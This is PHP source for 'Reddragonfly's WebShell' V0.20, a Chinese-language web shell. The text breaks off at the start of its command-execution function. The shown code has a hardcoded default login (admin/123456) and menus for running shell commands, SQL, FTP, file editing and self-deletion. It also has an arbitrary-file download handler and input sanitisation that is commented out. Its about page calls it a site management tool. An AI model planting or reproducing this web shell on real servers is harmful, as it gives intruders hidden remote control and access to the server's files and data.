<?
/*
----+-------------------------------------------------------------+-----
    |                                                             |
    | Reddragonfly's WebShell                                     |
    | http://www.reddragonfly.org                                 |
    | -------------------------------                             |
    | Email:phanrider@reddragonfly.org                            |
    |                                                             |
----+-------------------------------------------------------------+-----
*/

// 本程序参考了EasyWebshell和PHPWebshell部份代码和界面风格
// 代码注释和框架主要引用了lion's的原代码风格
// 在此对原创作者表示感谢



$r_admin['title']        =  "Reddragonfly's WebShell";
$r_admin['http']         =  "http://www.reddragonfly.org";
$r_admin['b_name']       =  "Reddragonfly's WebShell";
$r_admin['url']          =  @$_SERVER['PHP_SELF'];
$r_admin['email']        =  "phanrider&#64reddragonfly.org";
$r_admin['copyright']    =  "Copyright&copy; 2005 phanrider All Right Reserved.";
$r_admin['version']      =  "V0.20";  
$r_admin['t_time']       =  "2006-11-10"; 
$r_admin['pathname']     =  "";
$r_admin['pathname1']    =  "";
$r_admin['r_dir']        =  "";                                //相对路径
$r_admin['nowpath']      =  "";                                //绝对路径
$r_admin['nowpath_attr'] =  "";
$r_admin['r_dirs']       =  ""; 
$r_admin['truepath']     =  ""; 
$r_admin['rootdir']      =  "";
$r_admin['admin']        =  "admin";
$r_admin['password']     =  "123456";
$r_admin['pass']         =  "0";                             //session 认证无用时,1-不用认证 0-session认证
$r_admin['cookie']       =  "0";                             //session 认证无用时,用此COOKIE认证，默认为0--不用cookie认证   
$r_admin['flag']         =  "1";                             //是否验证(0 不验证,1 验证) 
$r_admin['session']      =  ""; 
$r_admin['f_flag']       =  "0"; 
$r_admin['nums']         =  "100";                            //mysql记录条数限制，可以修改
$r_admin['max_long']     =  "32";                             //mysql记录字段显示长度，可以修改
$r_admin['tmp_file']     =  "/XX_XX_abc_$$.zhl";
$r_admin['tmp_dir']      =  "tmp/";                           //当前WEB目前下建的临时目录
$r_admin['ftp_tmp']      =  "/tmp";
if ($r_admin['flag'] == "1" && $r_admin['cookie'] ==  "0")
{
@session_start();
}
@set_time_limit(0);
@set_magic_quotes_runtime(0);
// ---------------------------------------------------------------------
//
// 输入处理及功能类
//
// ---------------------------------------------------------------------
class FUNC 
{

    // ---------------------------------------------------------------------
    //
    // 分析递交的参数
    //
    // ---------------------------------------------------------------------
    function getinput()
    {
        global $_GET,$_POST, $HTTP_CLIENT_IP, $REQUEST_METHOD;
        global $REMOTE_ADDR, $HTTP_PROXY_USER, $HTTP_X_FORWARDED_FOR;

        $return = array();

        // ---------------------------------------------------------------------
        // 取出GET的参数
        // ---------------------------------------------------------------------
        
	if( is_array($_GET) )
        {
    	    while( list($k, $v) = each($_GET) )
			{
                                //echo $k,$v;
				//$k = $this->clean_key($k);
				if( is_array($_GET[$k]) )
				{
					while( list($k2, $v2) = each($_GET[$k]) )
					{
						$return[$k][ $this->clean_key($k2) ] = $this->clean_value($v2);
					}
				}
				else
				{
					$return[$k] = $this->clean_value($v);
				}
			}
		}
		// ---------------------------------------------------------------------
		// 如果GET和POST存在相同的变量,用POST的值覆盖GET的值
		// ---------------------------------------------------------------------
		
		if( is_array($_POST) )
		{
			while( list($k, $v) = each($_POST) )
			{
			      //	 echo $k,$v;
                                 //$k = $this->clean_key($k);
				if ( is_array($_POST[$k]) )
				{
					while( list($k2, $v2) = each($_POST[$k]) )
					{
						$return[$k][ $this->clean_key($k2) ] = $this->clean_value($v2);
					}
				}
				else
				{
					$return[$k] = $this->clean_value($v);
				}
			}
		}

		// ---------------------------------------------------------------------
		// 取出访问者的IP地址
		// ---------------------------------------------------------------------
		$return['IP_ADDRESS'] = $this->select_var( array(
														  1 => $_SERVER['REMOTE_ADDR'],
														  2 => $HTTP_X_FORWARDED_FOR,
														  3 => $HTTP_PROXY_USER,
														  4 => $REMOTE_ADDR
														)
												 );

		// ---------------------------------------------------------------------
		// 取出有效的地址
		// ---------------------------------------------------------------------
		$return['IP_ADDRESS'] = preg_replace( "/^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/", "\\1.\\2.\\3.\\4", $return['IP_ADDRESS'] );

		$return['request_method'] = ( $_SERVER['REQUEST_METHOD'] != "" ) ? strtolower($_SERVER['REQUEST_METHOD']) : strtolower($REQUEST_METHOD);

		return $return;
	}

	// ---------------------------------------------------------------------
	//
	// 清除有害的递交参数
	//
	// ---------------------------------------------------------------------
    function clean_key($key)
    {
    	if ($key == "")
    	{
    		return "";
    	}

 //    	$key = preg_replace( "/\.\./"           , ""  , $key );
 //   	$key = preg_replace( "/\_\_(.+?)\_\_/"  , ""  , $key );
 // 	$key = preg_replace( "/^([\w\.\-\_]+)$/", "$1", $key );

    	return $key;
    }

	// ---------------------------------------------------------------------
	//
	// 清除有害的递交参数值
	//
	// ---------------------------------------------------------------------
    function clean_value($val)
    {
    	if ($val == "")
    	{
    		return "";
    	}
   	
    	$val = stripslashes($val);                                     
 
    	return $val;

    }

    // ---------------------------------------------------------------------
    //
    // 变量选择器
    // 
    // ---------------------------------------------------------------------
    function select_var($array) {

    	if ( !is_array($array) ) return -1;

    	ksort($array);


    	$chosen = -1;  // 如果没有数据可用,保证返回 0

    	foreach ($array as $k => $v)
    	{
    		if (isset($v))
    		{
    			$chosen = $v;
    			break;
    		}
    	}

    	return $chosen;
    }



    // ---------------------------------------------------------------------
    //
    // 设置用户cookie
    //
    // ---------------------------------------------------------------------
    function my_setcookie($name, $value = "", $sticky = 1) {
        global $INFO;

        //$expires = "";

        if ($sticky == 1)
        {
        	$expires = time() + 60*60*24*365;
        }
        else
        {
        	$dxpires = $sticky;
        }

        $name = $INFO['cookie_id'].$name;
        setcookie($name, $value, $expires);
        // echo "$name,$value,$expires <br>";
    }


    // ---------------------------------------------------------------------
    //
    // 取得用户cookie
    //
    // ---------------------------------------------------------------------
    function my_getcookie($name)
    {
    	global $INFO, $_COOKIE;
    	
    	
     	
    	if (isset($_COOKIE[$INFO['cookie_id'].$name]))
    	{
    		//echo $HTTP_COOKIE_VARS[$INFO['cookie_id'].$name];

    		return urldecode($this->clean_value($_COOKIE[$INFO['cookie_id'].$name]));
    	}
    	else
    	{
    		
    		return false;
    	}

    }
    
// ---------------------------------------------------------------------
//
// 可以加入其他函数
//
// ---------------------------------------------------------------------

}   
 





// ---------------------------------------------------------------------
//
// 常用函数
//
// ---------------------------------------------------------------------

class WEB_SHELL
{
	var $input				= array();

	
	
// ---------------------------------------------------------------------
//
// 用户检查
//
// ---------------------------------------------------------------------
	
	
function check_logined()
{
        global $r_admin;
        $admin = md5($r_admin['admin']);
        $password = md5($r_admin['password']);
	if (session_is_registered("$admin") && session_is_registered("$password"))
	{
		return true;
	}
	return false;
}


function check_logined_cookie()
{
        global $r_admin, $sd;
        
        
        $cookie_password = $sd->my_getcookie('my_pass');
       
	if ($cookie_password == md5($r_admin['password']))
	{
		return true;
	}
	
	return false;
}

// ---------------------------------------------------------------------
//
// 用户检查
//
// ---------------------------------------------------------------------
function checkadmin()
{
	global $r_admin, $sd;
	$login = $this->input['login'];
	$username = $this->input['user_name'];
	$userpassword = $this->input['user_password'];
if ($login == "login")
{         
	if ($r_admin['cookie'] == '0')
	{
		if (isset($username) && isset($userpassword))
		{

                	$r_admin['session'] = @session_id();
                	$r_admin['admin'] = md5($r_admin['admin']);
                	$r_admin['password'] = md5($r_admin['password']);
			if (($username != $r_admin['admin']) || ($userpassword != $r_admin['password']) )
			{
		        	$this->Redirect("输入的用户名或者密码错误!","1");
				exit();
              		}
			else
			{			

				$password = $userpassword;
                        	$r_admin['pass'] = "1";
				session_register("$r_admin[admin]");
				session_register("$r_admin[password]");
                        	echo $this->index();			

		        	return true;
			}
		}
	}
	else
	{
		
		if (isset($username) && isset($userpassword))
		{

                	
                	$r_admin['admin'] = md5($r_admin['admin']);
                	$r_admin['password'] = md5($r_admin['password']);
			if (($username != $r_admin['admin']) || ($userpassword != $r_admin['password']) )
			{
		        	$this->Redirect("输入的用户名或者密码错误!","1");
				exit();
              		}
			else
			{			

				
                        	$r_admin['pass'] = "1";
                        	
				@$sd->my_setcookie('my_pass',$userpassword, 3600);
				
                        	echo $this->index();			

		        	return true;
			}
		}
		
	}
}


}




// 显示登陆信息函数
function show_login()
{
	global $r_admin;
        
	$login = $this->input['login'];
        if ($login == "login") 	
        $this->checkadmin();
	else 
        {
       
        $r_admin['url'] = str_replace("//","/",$r_admin['url']);
        $show_mess = "	
<html>
<head>
<title>$r_admin[title]</title>
<META http-equiv=Content-Type content='text/html; charset=gb2312'>
<META content='$r_admin[title]' name=keywords>
<SCRIPT language=JavaScript>
function MD5(sMessage,elementName) {
function RotateLeft(lValue, iShiftBits) { return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits)); }
function AddUnsigned(lX,lY) {
var lX4,lY4,lX8,lY8,lResult;
lX8 = (lX & 0x80000000);
lY8 = (lY & 0x80000000);
lX4 = (lX & 0x40000000);
lY4 = (lY & 0x40000000);
lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF);
if (lX4 & lY4) return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
if (lX4 | lY4) {
if (lResult & 0x40000000) return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
else return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
} else return (lResult ^ lX8 ^ lY8);
}
function F(x,y,z) { return (x & y) | ((~x) & z); }
function G(x,y,z) { return (x & z) | (y & (~z)); }
function H(x,y,z) { return (x ^ y ^ z); }
function I(x,y,z) { return (y ^ (x | (~z))); }
function FF(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
function GG(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
function HH(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
function II(a,b,c,d,x,s,ac) {
a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
return AddUnsigned(RotateLeft(a, s), b);
}
function ConvertToWordArray(sMessage) {
var lWordCount;
var lMessageLength = sMessage.length;
var lNumberOfWords_temp1=lMessageLength + 8;
var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64;
var lNumberOfWords = (lNumberOfWords_temp2+1)*16;
var lWordArray=Array(lNumberOfWords-1);
var lBytePosition = 0;
var lByteCount = 0;
while ( lByteCount < lMessageLength ) {
lWordCount = (lByteCount-(lByteCount % 4))/4;
lBytePosition = (lByteCount % 4)*8;
lWordArray[lWordCount] = (lWordArray[lWordCount] | (sMessage.charCodeAt(lByteCount)<<lBytePosition));
lByteCount++;
}
lWordCount = (lByteCount-(lByteCount % 4))/4;
lBytePosition = (lByteCount % 4)*8;
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80<<lBytePosition);
lWordArray[lNumberOfWords-2] = lMessageLength<<3;
lWordArray[lNumberOfWords-1] = lMessageLength>>>29;
return lWordArray;
}
function WordToHex(lValue) {
var WordToHexValue=\"\",WordToHexValue_temp=\"\",lByte,lCount;
for (lCount = 0;lCount<=3;lCount++) {
lByte = (lValue>>>(lCount*8)) & 255;
WordToHexValue_temp = \"0\" + lByte.toString(16);
WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2);
}
return WordToHexValue;
}
var x=Array();
var k,AA,BB,CC,DD,a,b,c,d
var S11=7, S12=12, S13=17, S14=22;
var S21=5, S22=9 , S23=14, S24=20;
var S31=4, S32=11, S33=16, S34=23;
var S41=6, S42=10, S43=15, S44=21;
// Steps 1 and 2. Append padding bits and length and convert to words
x = ConvertToWordArray(sMessage);
// Step 3. Initialise
a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476;
// Step 4. Process the message in 16-word blocks
for (k=0;k<x.length;k+=16) {
AA=a; BB=b; CC=c; DD=d;
a=FF(a,b,c,d,x[k+0], S11,0xD76AA478);
d=FF(d,a,b,c,x[k+1], S12,0xE8C7B756);
c=FF(c,d,a,b,x[k+2], S13,0x242070DB);
b=FF(b,c,d,a,x[k+3], S14,0xC1BDCEEE);
a=FF(a,b,c,d,x[k+4], S11,0xF57C0FAF);
d=FF(d,a,b,c,x[k+5], S12,0x4787C62A);
c=FF(c,d,a,b,x[k+6], S13,0xA8304613);
b=FF(b,c,d,a,x[k+7], S14,0xFD469501);
a=FF(a,b,c,d,x[k+8], S11,0x698098D8);
d=FF(d,a,b,c,x[k+9], S12,0x8B44F7AF);
c=FF(c,d,a,b,x[k+10],S13,0xFFFF5BB1);
b=FF(b,c,d,a,x[k+11],S14,0x895CD7BE);
a=FF(a,b,c,d,x[k+12],S11,0x6B901122);
d=FF(d,a,b,c,x[k+13],S12,0xFD987193);
c=FF(c,d,a,b,x[k+14],S13,0xA679438E);
b=FF(b,c,d,a,x[k+15],S14,0x49B40821);
a=GG(a,b,c,d,x[k+1], S21,0xF61E2562);
d=GG(d,a,b,c,x[k+6], S22,0xC040B340);
c=GG(c,d,a,b,x[k+11],S23,0x265E5A51);
b=GG(b,c,d,a,x[k+0], S24,0xE9B6C7AA);
a=GG(a,b,c,d,x[k+5], S21,0xD62F105D);
d=GG(d,a,b,c,x[k+10],S22,0x2441453);
c=GG(c,d,a,b,x[k+15],S23,0xD8A1E681);
b=GG(b,c,d,a,x[k+4], S24,0xE7D3FBC8);
a=GG(a,b,c,d,x[k+9], S21,0x21E1CDE6);
d=GG(d,a,b,c,x[k+14],S22,0xC33707D6);
c=GG(c,d,a,b,x[k+3], S23,0xF4D50D87);
b=GG(b,c,d,a,x[k+8], S24,0x455A14ED);
a=GG(a,b,c,d,x[k+13],S21,0xA9E3E905);
d=GG(d,a,b,c,x[k+2], S22,0xFCEFA3F8);
c=GG(c,d,a,b,x[k+7], S23,0x676F02D9);
b=GG(b,c,d,a,x[k+12],S24,0x8D2A4C8A);
a=HH(a,b,c,d,x[k+5], S31,0xFFFA3942);
d=HH(d,a,b,c,x[k+8], S32,0x8771F681);
c=HH(c,d,a,b,x[k+11],S33,0x6D9D6122);
b=HH(b,c,d,a,x[k+14],S34,0xFDE5380C);
a=HH(a,b,c,d,x[k+1], S31,0xA4BEEA44);
d=HH(d,a,b,c,x[k+4], S32,0x4BDECFA9);
c=HH(c,d,a,b,x[k+7], S33,0xF6BB4B60);
b=HH(b,c,d,a,x[k+10],S34,0xBEBFBC70);
a=HH(a,b,c,d,x[k+13],S31,0x289B7EC6);
d=HH(d,a,b,c,x[k+0], S32,0xEAA127FA);
c=HH(c,d,a,b,x[k+3], S33,0xD4EF3085);
b=HH(b,c,d,a,x[k+6], S34,0x4881D05);
a=HH(a,b,c,d,x[k+9], S31,0xD9D4D039);
d=HH(d,a,b,c,x[k+12],S32,0xE6DB99E5);
c=HH(c,d,a,b,x[k+15],S33,0x1FA27CF8);
b=HH(b,c,d,a,x[k+2], S34,0xC4AC5665);
a=II(a,b,c,d,x[k+0], S41,0xF4292244);
d=II(d,a,b,c,x[k+7], S42,0x432AFF97);
c=II(c,d,a,b,x[k+14],S43,0xAB9423A7);
b=II(b,c,d,a,x[k+5], S44,0xFC93A039);
a=II(a,b,c,d,x[k+12],S41,0x655B59C3);
d=II(d,a,b,c,x[k+3], S42,0x8F0CCC92);
c=II(c,d,a,b,x[k+10],S43,0xFFEFF47D);
b=II(b,c,d,a,x[k+1], S44,0x85845DD1);
a=II(a,b,c,d,x[k+8], S41,0x6FA87E4F);
d=II(d,a,b,c,x[k+15],S42,0xFE2CE6E0);
c=II(c,d,a,b,x[k+6], S43,0xA3014314);
b=II(b,c,d,a,x[k+13],S44,0x4E0811A1);
a=II(a,b,c,d,x[k+4], S41,0xF7537E82);
d=II(d,a,b,c,x[k+11],S42,0xBD3AF235);
c=II(c,d,a,b,x[k+2], S43,0x2AD7D2BB);
b=II(b,c,d,a,x[k+9], S44,0xEB86D391);
a=AddUnsigned(a,AA); b=AddUnsigned(b,BB); c=AddUnsigned(c,CC); d=AddUnsigned(d,DD);
}

var temp= WordToHex(a)+WordToHex(b)+WordToHex(c)+WordToHex(d);
var element = eval(\"document.getElementsByName('\" + elementName + \"')[0]\");
element.value = temp.toLowerCase();

}
</script>

</head>
			<center>
			<table>
			<tr>
			<td><br><br><br><br><br><br><br><br><br><br><br><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">
			<b>$r_admin[b_name] $r_admin[version]</b></font><br><br>
				
				用户名: <input type='text' name='user' size='16' class=input_basic onblur=\"return(MD5(document.getElementsByName('user')[0].value ,'user_name'));\"></input>
				</td>
			</tr>
			<tr>
				<td>
				密&nbsp;&nbsp;码: <input type='password' name='password' size='16' class=input_basic onblur=\"return(MD5(document.getElementsByName('password')[0].value ,'user_password'));\"></input>
				</td>
			</tr>
			<tr>
				<td align=center>
				<form action=\"$r_admin[url]?action=index&login=login\" method=\"post\" name=\"form1\">
				<input type='submit' value='登陆' class=input_basic>
				<input type='hidden' name='user_name' value=''>
				<input type='hidden' name='user_password' value=''>
				</form>
				</td>
			</tr>
			
			</table>
			</center>
		";
		echo  $show_mess;
		echo  $this->showfooter();
	}	
               return;		
}



// ---------------------------------------------------------------------
//
// 关于  
//
// ---------------------------------------------------------------------
function about()
{
        global $r_admin;

	$return  = $this->showhead($r_admin[b_name]);
        $return .="
<center>
  <table width='580' height='395' border='0' class='input_basic'>
    <tr>
      <td colspan='2'><div align='center' class='title'><strong>$r_admin[b_name]&nbsp$r_admin[version] 说明文件</strong></div></td>
    </tr>
    <tr>
      <td width='482'><strong>一、程序说明</strong></td>
      <td width='88'>&nbsp;</td>
    </tr>
    <tr><td>
该程序是一个小巧的功能齐全的网站WEB管理程序，可在线提供文件上传下载，编辑，添加删除，新建文件目录，SHELL功能，以及操作Mysql数据库
    </td>
      <td>&nbsp;</td>
    </tr>
   
    <tr>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td><strong>二、基本功能</strong></td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td height='20'><p>1，文件和目录的新建或删除</p>
        </td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td>2，在线实现文件的上传和下载</td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td>3，文件在线编辑功能</td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td>4，SHELL和Mysql数据库的基本操作</td>
      <td>&nbsp;</td>
    </tr>
    
	<tr>
      <td>5，PHP探针和信息</td>
      <td>&nbsp;</td>
    </tr>
	<tr><td>&nbsp;</td></tr>
	
	<tr>
		<td><b>三、版权说明</b></td>
	</tr>
		<tr>
		<td>
你可以自由传播、复制、更新，但我们不会担保本软件一定能满足用户的要求，也不担保软件不会出错或者有瑕疵，对软件是否适用于用户的电脑系统以及是否兼容用户现有的软件都不作担保。无论同意与否，由于使用本软件而产生的数据丢失、任何理论上或实际上的损失、可用性消失、商业中断，或任何形式的直接、间接、特殊、意外或必然的破坏，或任何他方的索赔，本软件作者概不负责。
<br>****************************************************************************
<br>请支持希望工程：
<br>
<br>如果你看到这些文字，正好手边又有手机的话，请跟我们做
<br>a.拿出你的手机，写短信
<br>b.请按入数字“2” 
<br>c.发送到“8858”
<br>d.我们将会和哪些得到你帮助孩子一起感谢您的爱心！
<br>
<br>****************************************************************************
</td>
</tr>
<tr><td>&nbsp;</td></tr>
	   
    <tr>
      <td><b>四、更新历史</b></td>
      <td>&nbsp;</td>
      
    </tr>   
   <tr>
      <td>2006-11-10  更新版本至V0.20</td>
   </tr>
   <tr>
      <td>2006-11-02  更新版本至V0.12</td>
   </tr>
   <tr>
      <td>2006-10-12  更新版本至V0.11</td>
   </tr>
   <tr>
      <td>2006-09-27  更新版本至V0.10</td>
   </tr>
   <tr>
      <td>2006-09-18  更新版本至V0.05</td>
   </tr>
   <tr>
      <td>2006-01-05  更新版本至V0.03</td>
   </tr>
   <tr>
      <td>2005-04-12  版本V0.01出世</td>
      <td>&nbsp;</td>
    </tr>

    <tr>
      <td height='22' colspan='2'><div align='center' class='style1'>声明：剑可防身也可伤人，风潇潇兮易水寒，壮士一去兮不复返！</div></td>
    </tr>
	<br>
  </table>
 
</center>

";
 
        $return .= $this->showfooter();
         return $return;






}













	
// ---------------------------------------------------------------------
//
// 显示页头
//
// ---------------------------------------------------------------------
function showhead($title)
{
	global $r_admin;
        $return = $r_admin[style];
        $return .= "
<html>
<head>
<title>$title</title>
<META http-equiv=Content-Type content='text/html; charset=gb2312'>
<META content='红蜻蜓工作室' name=keywords>
</head>
<body bgcolor=#ffffff>  

<center>
<table width=\"600\" border=\"0\" align=\"center\" cellpadding=\"0\" cellspacing=\"0\">
<tr>
<td>
<br>
			<p align='center'>
			<font size=3 color=#000000 face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\"><b>$r_admin[title] $r_admin[version]</b></font>
			<br>
			</p>
			<p align='center'>
			<strong>
			<font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">
				<a href='$r_admin[url]?action=fileman' title='文件管理'>文件管理</a> | 
				<a href='$r_admin[url]?action=shell' title='执行命令'>执行命令</a> | 
				<a href='$r_admin[url]?action=m_mysql' title='执行SQL'>执行SQL</a> |
				<a href='$r_admin[url]?action=my_ftp' title='FTP'>执行FTP</a> | 
				<a href='$r_admin[url]?action=phpenv' title='PHP环境变量'>PHP环境变量</a> | 
				<a href='$r_admin[url]?action=phpinfo1' title='PHPINFO'>PHPINFO</a> | 
				<a href='$r_admin[url]?action=logout' title='注销登陆'>退出</a> |  
				<a href='$r_admin[url]?action=selfremover' title='删除自身'>自删除</a> |  
				<a href='$r_admin[url]?action=about' title='关于本程序'>关于</a>
			</font>
			</strong>
			</p>

</td>
</tr>
</table>
</center>
";

    return $return;
}




// ---------------------------------------------------------------------
//
// 显示页尾
//
// ---------------------------------------------------------------------
function showfooter()
{
	global $r_admin;
    $date1 = date('Y');
    $return .= "
<br>
<table width=\"600\" border=\"0\" align=\"center\" cellpadding=\"0\" cellspacing=\"0\">
<tr><td>
<p align=\"center\" class=\"9p\">
<br><font color=#333399 face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\"><b><a href=\"$r_admin[http]\">
$r_admin[title] $r_admin[version]</a></b></font><br>
<font color=#000000 face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">Copyright &copy;
2005 - $date1 Reddragonfly & Studio Code by </font>
<a href=\"mailto:$r_admin[email]\">
<font color=#000000 face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">phanrider</font></a> 
</p>
</td>
</tr>
</table>
</body>
</html>
";
        return $return;
}

    // ---------------------------------------------------------------------
    //
    // 让用户转向某一个页面
    //
    // ---------------------------------------------------------------------
	function Redirect($Text, $Url)
	{
		global $r_admin;
		$return  = $r_admin['style'];
		$return .= "
		
<html>
<head>
<title>跳转页面</title>
";
		if ($Url == "1") {$return .="<meta http-equiv='refresh' content='2; url=\"javascript:history.go(-1);\"' />";}
		else $return .="<meta http-equiv='refresh' content='2; url=$Url' />";
		$return .= "
<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>
<body>
<table width='100%' height='85%' align='center'>
<tr>
<td valign='middle'>
 <table align='center' cellpadding='4' class='tablefill'>
  <tr>
	<td width='100%' align='center' nowrap='nowrap' class=style1>
	<font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">
	$Text</font><br/><br/>
	程序将带你到相关页面。 <br/><br/>
";
	if ($Url == "1") {$return .="(如果你不想等待, <a href=\"javascript:history.go(-1);\">点这里返回</a>)";}
	else {$return .="
	(如果你不想等待, <a href='$Url'>请点这里。</a>)
	";}
	$return .="
	</td>
  </tr>
 </table>
</td>
</tr>
</table>
</body>
</html>
";
		echo $return;
		exit();
	}



// ---------------------------------------------------------------------
//
// 一些计算函数
//
// ---------------------------------------------------------------------

function getPath($mainpath, $relativepath) 
{
	global $r_admin;
	$mainpath_info           = explode('/', $mainpath);
	$relativepath_info       = explode('/', $relativepath);
	$relativepath_info_count = count($relativepath_info);
	for ($i=0; $i<$relativepath_info_count; $i++) 
	{
		if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
		if ($relativepath_info[$i] == '..') 
		{
			$mainpath_info_count = count($mainpath_info);
			unset($mainpath_info[$mainpath_info_count-1]);
			continue;
		}
		$mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
	} //end for
	return implode('/', $mainpath_info);
	
}



function start_sh()
{
 	global $r_admin;
        
        $whereme=getcwd();	
        if(@eregi("/",$whereme)){$r_admin[os]="unix";} else{$r_admin[os]="win";}
 	
        $r_admin[pathname] = str_replace('\\\\','/',$_SERVER["DOCUMENT_ROOT"]);   //www服务路径
        
        $r_admin[pathname1] = str_replace('\\\\','/',dirname(__FILE__));   //该文件当前服务路径
        
       
        $r_admin[rootdir] = $r_admin[pathname];
        $r_admin[r_dir]=$this->input['dir'];

        
        // 获取当前路径
        if (!isset($r_admin[r_dir]) or empty($r_admin[r_dir])) 
        {
          
	$r_admin[r_dir] = ".";
	
	$r_admin[nowpath] = $this->getPath($r_admin[pathname1], $r_admin[r_dir]);
        } 
        else 
        {
        //	echo off;
	$r_admin[r_dir]=$this->input['dir'];
//	echo "test:$r_admin[r_dir]";
	$r_admin[nowpath] = $this->getPath($r_admin[pathname1], $r_admin[r_dir]);
	//echo $r_admin[nowpath];
	if ($r_admin[nowpath] =="" or $r_admin[nowpath] ==".") { $r_admin[nowpath] = $r_admin[r_dir];} 
        }
        
        $r_admin[nowpath_attr] = substr(base_convert(@fileperms($r_admin[nowpath]),10,8),-4);
 //       echo $r_admin[nowpath];
 
 
        $unabspath = ".";
        
        if(isset($abspath)) $r_admin[nowpath] = $this->gettruepath($r_admin[r_dir]);
        else 
        {
       	if(isset($unabspath)) 
       	 {
        $r_admin[nowpath] = $this->gettruepath($r_admin[r_dir]);
        $r_admin[r_dir]   = $this->gettruepath($r_admin[r_dir]);
        if(@strstr($r_admin[r_dir],$r_admin[rootdir])) 
        {
        	$r_admin[r_dir] = @str_replace("$r_admin[rootdir]","",$r_admin[r_dir]);
        	$r_admin[f_flag] = "0";
        }
        else {$r_admin[nowpath] =$r_admin[r_dir]; $r_admin[f_flag] = "1";}
         }
        }
  

if($this->input[downfile]) {
 
// echo $this->input[downfile];

if(isset($this->input['downfile'])){
    if (!file_exists($this->input['downfile'])) $errordownload = "没找到文件"; 
    else {
        $df_name = basename($this->input['downfile']);
	//$df_name = $this->input[downfile];
	//echo $df_name;
        $df_fhd=fopen($this->input[downfile],"rb");
        if($df_fhd==false) $errordownload = "打开文件错误";
        else{
            Header("Content-type: application/octet-stream");
            Header("Accept-Ranges: bytes");
            Header("Accept-Length: ".filesize($this->input[downfile]));
            Header("Content-Disposition: attachment; filename=".$df_name);
	    echo fread($df_fhd,filesize($this->input[downfile]));
            fclose($df_fhd);
            exit;
        }
    } 
}
         $this->Redirect("$errordownload", $r_admin[url]);
}



}



// ---------------------------------------------------------------------
//
// PHPINFO函数
//
// ---------------------------------------------------------------------
function phpinfo1()
{
  
       	global $r_admin;
        $return  = $this->showhead($r_admin[b_name]);
        $return .="   

  <br>
<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center' style=\"TABLE-LAYOUT: fixed; WORD-BREAK: break-all\">
  <tr bgcolor='#cccccc'>
       <td>
        PHPINFO 	
       </td>
   </tr>
	       
	<td align=\"center\" bgcolor=\"#EEEEEE\" class=\"stylebtext2\"><br>
"; 
        echo $return; 
	phpinfo();
	if(eregi("phpinfo",get_cfg_var("disable_functions"))) 
        $return1 ="<b>phpinfo函数被禁止</b><br>";
	$return1 .="	
          </td>
	 	</table>
";
        $return1 .= $this->showfooter();
        echo $return1;
	return ; 
}









// ---------------------------------------------------------------------
//
// 编辑文件 
//
// ---------------------------------------------------------------------
function editfile()
{
        global $r_admin;
      
       	$this->input['dir'] = str_replace("//","/",$this->input['dir']);
      	$return  = $this->showhead($r_admin[b_name]);
      	$return .="

  <br>
<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
  <tr bgcolor='#cccccc'>
       <td>
	文本编辑器(若目标文件不存在将新建新文件)
       </td>
   </tr>
	<form method='post' action=\"?action=savefile&dir=".urlencode($this->input['dir'])."\" enctype='multipart/form-data'>
		<td align=center valign=top bgcolor='EEEEEE'>当前编辑文件名:
			<input name=\"editfilename\" type=\"text\" class=\"style1\" value='".$this->input['dir']."' size=30>
			<input name=\"editbackfile\" type=\"checkbox\" value=1 class=\"style1\">生成备份文件(原文件.bak)<br>
			<textarea name=\"editfiletext\" cols=80 rows=20 class=\"style1\">
";
				$cur_dir = urlencode(dirname($this->input['dir']));
				$fd = @fopen($this->input['dir'], "rb");
				$fd==false?$readfbuff = "读取文件错误(或尚未读取文件).":$readfbuff = @fread($fd, filesize($this->input['dir']));
				@fclose( $fd );
				$readfbuff = htmlspecialchars($readfbuff);
       			$return .=$readfbuff;
$return .="			
                        </textarea><p>
			<input name=\"editfileb\" type=\"submit\" value=\"提交\">&nbsp;&nbsp;
			<input name=\"editagainb\" type=\"reset\" value=\"重置\">
			<a href=\"$r_admin[url]?dir=$cur_dir\">点此返回文件浏览页面</a>
			<p>
		</td>
	</form>
        </table>
";

        $return .= $this->showfooter();
        return $return;
}


// ---------------------------------------------------------------------
//
// shell 
//
// ---------------------------------------------------------------------
function shell()
{
      global $r_admin;
      $shellcmd = $this->input['shellcmd'];
      $seletefunc = $this->input['seletefunc'];
 
      $return  = $this->showhead($r_admin[b_name]);
      $return .="
  <br>
